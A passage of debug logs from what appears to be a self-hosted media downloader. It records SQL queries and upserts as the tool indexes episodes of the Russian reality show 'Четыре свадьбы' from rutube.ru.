s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:06.292 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:06.293 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-07 15:20:18Z], 1] 14:36:06.329 [debug] QUERY OK source="media_items" db=34.8ms queue=0.1ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В новогоднем выпуске оценивать свадьбы друг друга будут женихи. Алексей пригласит участников в Самару на свою классическую свадьбу. Дмитрий из Москвы попробует удивить соперников банкетом от шеф-повара. Павел из Москвы устроит свадьбу в стиле «Игры престолов». А у Дениса из Москвы будет свадьба в эстетике девяностых. Кто победит в этом праздничном марафоне, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Женихи", "0d7665da-7e29-4ae6-ad9b-4a7db2dff946", "21aef33608a5324aa76de8292ba5474e", 8904, false, "https://rutube.ru/video/21aef33608a5324aa76de8292ba5474e/", 88, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e010700 - Четыре свадьбы: Женихи.mp4", false, false, false, 1, [], 1, ~U[2025-01-07 15:20:18Z], ~U[2025-12-09 11:36:06Z], ~U[2025-12-09 11:36:06Z], "В новогоднем выпуске оценивать свадьбы друг друга будут женихи. Алексей пригласит участников в Самару на свою классическую свадьбу. Дмитрий из Москвы попробует удивить соперников банкетом от шеф-повара. Павел из Москвы устроит свадьбу в стиле «Игры престолов». А у Дениса из Москвы будет свадьба в эстетике девяностых. Кто победит в этом праздничном марафоне, покажет программа «Четыре свадьбы».", "Четыре свадьбы: Женихи", "21aef33608a5324aa76de8292ba5474e", 8904, false, "https://rutube.ru/video/21aef33608a5324aa76de8292ba5474e/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e010700 - Четыре свадьбы: Женихи.mp4", false, 1, ~U[2025-01-07 15:20:18Z]] 14:36:06.332 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=42.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:06.333 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=40.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:06.335 [debug] QUERY OK source="media_items" db=1.0ms idle=40.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [84] 14:36:06.337 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "4 невесты приглашают на свои свадьбы. У Анны из Барнаула будет свадьба в гаражном стиле. Александра из Коломны устроит свадьбу в стиле рустик с деревенской изюминкой. Фишкой торжества Ксении из Москвы станут современные традиции. А Марина из Москвы попробует удивить гостей советским ар-деко. Мероприятия девушек покажет программа «Четыре свадьбы».", "duration" => 6838, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e011400 - Четыре свадьбы: Свадьба в стиле рустик VS Свадьба в гаражном стиле.mp4", "id" => "472c805f889e8b9a8c978b1b3bc2c6b8", "original_url" => "https://rutube.ru/video/472c805f889e8b9a8c978b1b3bc2c6b8/", "playlist_index" => 89, "timestamp" => 1736865611, "title" => "Четыре свадьбы: Свадьба в стиле рустик VS Свадьба в гаражном стиле", "upload_date" => "20250114"} 14:36:06.340 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:06.343 [debug] QUERY OK source="sources" db=1.7ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:06.348 [debug] QUERY OK source="media_items" db=3.9ms queue=0.1ms idle=10.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-14 14:40:11Z], 1] 14:36:06.362 [debug] QUERY OK source="media_items" db=11.6ms idle=15.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 невесты приглашают на свои свадьбы. У Анны из Барнаула будет свадьба в гаражном стиле. Александра из Коломны устроит свадьбу в стиле рустик с деревенской изюминкой. Фишкой торжества Ксении из Москвы станут современные традиции. А Марина из Москвы попробует удивить гостей советским ар-деко. Мероприятия девушек покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле рустик VS Свадьба в гаражном стиле", "de7d71c5-78df-4813-8da8-45a1e11ba8b6", "472c805f889e8b9a8c978b1b3bc2c6b8", 6838, false, "https://rutube.ru/video/472c805f889e8b9a8c978b1b3bc2c6b8/", 89, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e011400 - Четыре свадьбы: Свадьба в стиле рустик VS Свадьба в гаражном стиле.mp4", false, false, false, 1, [], 1, ~U[2025-01-14 14:40:11Z], ~U[2025-12-09 11:36:06Z], ~U[2025-12-09 11:36:06Z], "4 невесты приглашают на свои свадьбы. У Анны из Барнаула будет свадьба в гаражном стиле. Александра из Коломны устроит свадьбу в стиле рустик с деревенской изюминкой. Фишкой торжества Ксении из Москвы станут современные традиции. А Марина из Москвы попробует удивить гостей советским ар-деко. Мероприятия девушек покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьба в стиле рустик VS Свадьба в гаражном стиле", "472c805f889e8b9a8c978b1b3bc2c6b8", 6838, false, "https://rutube.ru/video/472c805f889e8b9a8c978b1b3bc2c6b8/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e011400 - Четыре свадьбы: Свадьба в стиле рустик VS Свадьба в гаражном стиле.mp4", false, 1, ~U[2025-01-14 14:40:11Z]] 14:36:06.380 [debug] QUERY OK source="sources" db=17.3ms idle=26.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:06.382 [debug] QUERY OK source="media_profiles" db=0.6ms idle=40.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:06.386 [debug] QUERY OK source="media_items" db=3.2ms idle=39.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [85] 14:36:06.387 [debug] Current batch of media processed. Will check again in 1000ms 14:36:07.290 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:36:07.388 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске участницы посетят Новосибирск, Краснодар и Волосово. Екатерина пригласит конкуренток на свою современную свадьбу с танцами. Фишкой свадьбы Алёны станет эффектное появление молодых. У Светланы будет классическая свадьба в сине-белых тонах. А Анастасия организует свадьбу в сельском стиле. Смотрите программу «Четыре свадьбы»!", "duration" => 6754, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e012100 - Четыре свадьбы: Сельская свадьба VS Современная классика.mp4", "id" => "b38379f93af928d19efebe9efe8cf88a", "original_url" => "https://rutube.ru/video/b38379f93af928d19efebe9efe8cf88a/", "playlist_index" => 90, "timestamp" => 1737471614, "title" => "Четыре свадьбы: Сельская свадьба VS Современная классика", "upload_date" => "20250121"} 14:36:07.389 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1008.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:07.390 [debug] QUERY OK source="sources" db=0.6ms idle=1008.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:07.391 [debug] QUERY OK source="media_items" db=0.8ms idle=1005.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-21 15:00:14Z], 1] 14:36:07.410 [debug] QUERY OK source="media_items" db=17.5ms idle=102.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске участницы посетят Новосибирск, Краснодар и Волосово. Екатерина пригласит конкуренток на свою современную свадьбу с танцами. Фишкой свадьбы Алёны станет эффектное появление молодых. У Светланы будет классическая свадьба в сине-белых тонах. А Анастасия организует свадьбу в сельском стиле. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Сельская свадьба VS Современная классика", "7c5a329a-16ca-4112-9732-7d7e2af0be22", "b38379f93af928d19efebe9efe8cf88a", 6754, false, "https://rutube.ru/video/b38379f93af928d19efebe9efe8cf88a/", 90, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e012100 - Четыре свадьбы: Сельская свадьба VS Современная классика.mp4", false, false, false, 1, [], 1, ~U[2025-01-21 15:00:14Z], ~U[2025-12-09 11:36:07Z], ~U[2025-12-09 11:36:07Z], "В этом выпуске участницы посетят Новосибирск, Краснодар и Волосово. Екатерина пригласит конкуренток на свою современную свадьбу с танцами. Фишкой свадьбы Алёны станет эффектное появление молодых. У Светланы будет классическая свадьба в сине-белых тонах. А Анастасия организует свадьбу в сельском стиле. Смотрите программу «Четыре свадьбы»!", "Четыре свадьбы: Сельская свадьба VS Современная классика", "b38379f93af928d19efebe9efe8cf88a", 6754, false, "https://rutube.ru/video/b38379f93af928d19efebe9efe8cf88a/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e012100 - Четыре свадьбы: Сельская свадьба VS Современная классика.mp4", false, 1, ~U[2025-01-21 15:00:14Z]] 14:36:07.412 [debug] QUERY OK source="sources" db=2.3ms idle=71.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:07.415 [debug] QUERY OK source="media_profiles" db=1.4ms queue=0.5ms idle=23.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:07.417 [debug] QUERY OK source="media_items" db=1.3ms idle=24.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [86] 14:36:07.418 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты приглашают в Китай на свои свадьбы. В Аньшуне состоится деревенская свадьба Милены. В Ханчжоу пройдёт свадьба в дачном стиле Анны. В Шэньчжэне Влада отпразднует перерождение семьи. А в Пекине Полина устроит историческое погружение. Колоритные мероприятия покажет программа «Четыре свадьбы».", "duration" => 8904, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e012800 - Четыре свадьбы: Свадьбы в Китае.mp4", "id" => "5bf66138112adebf0db41098f05cdead", "original_url" => "https://rutube.ru/video/5bf66138112adebf0db41098f05cdead/", "playlist_index" => 91, "timestamp" => 1738080614, "title" => "Четыре свадьбы: Свадьбы в Китае", "upload_date" => "20250128"} 14:36:07.420 [debug] QUERY OK source="sources" db=1.5ms idle=27.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:07.423 [debug] QUERY OK source="sources" db=2.5ms queue=0.1ms idle=11.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:07.424 [debug] QUERY OK source="media_items" db=0.7ms idle=11.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-28 16:10:14Z], 1] 14:36:07.446 [debug] QUERY OK source="media_items" db=20.3ms queue=0.1ms idle=11.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре невесты приглашают в Китай на свои свадьбы. В Аньшуне состоится деревенская свадьба Милены. В Ханчжоу пройдёт свадьба в дачном стиле Анны. В Шэньчжэне Влада отпразднует перерождение семьи. А в Пекине Полина устроит историческое погружение. Колоритные мероприятия покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьбы в Китае", "0f057caa-ea8d-4319-a27f-af63c85ab181", "5bf66138112adebf0db41098f05cdead", 8904, false, "https://rutube.ru/video/5bf66138112adebf0db41098f05cdead/", 91, "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e012800 - Четыре свадьбы: Свадьбы в Китае.mp4", false, false, false, 1, [], 1, ~U[2025-01-28 16:10:14Z], ~U[2025-12-09 11:36:07Z], ~U[2025-12-09 11:36:07Z], "Четыре невесты приглашают в Китай на свои свадьбы. В Аньшуне состоится деревенская свадьба Милены. В Ханчжоу пройдёт свадьба в дачном стиле Анны. В Шэньчжэне Влада отпразднует перерождение семьи. А в Пекине Полина устроит историческое погружение. Колоритные мероприятия покажет программа «Четыре свадьбы».", "Четыре свадьбы: Свадьбы в Китае", "5bf66138112adebf0db41098f05cdead", 8904, false, "https://rutube.ru/video/5bf66138112adebf0db41098f05cdead/", "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e012800 - Четыре свадьбы: Свадьбы в Китае.mp4", false, 1, ~U[2025-01-28 16:10:14Z]] 14:36:07.451 [debug] QUERY OK source="sources" db=3.5ms queue=0.1ms idle=30.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:07.452 [debug] QUERY OK source="media_profiles" db=1.4ms idle=30.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:07.454 [debug] QUERY OK source="media_items" db=0.9ms idle=29.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [87] 14:36:07.454 [debug] Current batch of media processed. Will check again in 1000ms 14:36:08.456 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты побывают на торжествах друг друга. Вероника пригласит конкуренток в Сургут на свою «вызывающую» свадьбу. Елизавета из Казани подготовит для гостей своей свадьбы интерактивные зоны. У Кристины из Челябинска будет мероприятие с ярким дресс-кодом. А Яна из Воронежа позовёт соперниц на эко-свадьбу. Какие впечатления от торжеств останутся у девушек, узнаем из программы «Четыре свадьбы».", "duration" => 6740, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2025/s2025e020400 - Четыре свадьбы: Эко-свадьба VS Современная классика.mp4", "id" => "8ebafb0e53e9116ec57e17a91ace3dee", "original_url" => "https://rutube.ru/video/8ebafb0e53e9116ec57e17a91ace3dee/", "playlist_index" => 92, "timestamp" => 1738679417, "title" => "Четыре свадьбы: Эко-свадьба VS Современная классика", "upload_date" => "20250204"} 14:36:08.457 [debug] QUERY OK source="sources" db=1.0ms idle=1010.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:08.459 [debug] QUERY OK source="sources" db=0.9ms idle=1007.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", 